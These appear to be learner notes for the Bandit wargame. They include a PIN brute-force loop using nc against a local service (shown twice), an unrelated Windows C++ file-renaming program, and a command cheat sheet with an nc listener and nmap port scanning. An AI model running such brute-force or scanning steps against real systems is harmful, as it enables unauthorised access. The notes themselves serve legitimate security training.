[Wargame] Bandit24–BruteForce
#To use “|” in grep, you should use egrep.
#!/bin/bash
for i in {0000..9999};
do
echo "***** $i" | nc localhost 30002 | egrep -v "^I am|^Wrong!|^Exiting"
done
#To use “|” in grep, you should use egrep.
#!/bin/bash
for i in {0000..9999};
do
echo "***** $i" | nc localhost 30002 | egrep -v "^I am|^Wrong!|^Exiting"
done
#include<iostream>
#include<fstream>
#include<cstring>
#include<windows.h>
#define MAX_STRING 200
using namespace std;
int main(int argc,char *argv[])
{
ifstream input;
char tempname[MAX_STRING];
char cur_pos[MAX_STRING],target_disk;
GetModuleFileName(NULL,cur_pos,MAX_PATH);
target_disk=cur_pos[0]+1;
for(int i=1;i<argc;i++)
{
input.open(argv[i]);
while(!input.is_open())
{
input.open(argv[i]);
}
input.close();
strcpy(tempname,argv[i]);
tempname[0]=target_disk;
rename(argv[i],tempname);
}
return 0;
}
cat ./-
# -- stops parsing params
rm -- -filename
cat space\ in\ between
find / -name file* -size 1033c -redable -user hublee -group mygroup ! -perm /111 2>/dev/null
file somefile
cat somefile | sort | uniq -u
strings somefile | grep '^===*'
base64 -d somefile
echo I am user $myname | md5sum | cut -d ' ' -f 1
cat data.txt | tr [a-zA-Z] [n-za-mN-ZA-M]
diff password.new password.old
gzip -d for *.gz
bzip2 -d
tar -xvf
ssh -i privatekey.file user@host cat readme.txt
Note:RSA-key file is of the form:
—–BEGIN RSA PRIVATE KEY—–
xxx
—–END RSA PRIVATE KEY—–
nc -v 127.0.0.1 30000
#create a listening port
nc -l 9000
openssl s_client -ign_eof -connect localhost:30001
nmap -p 31000-32000 localhost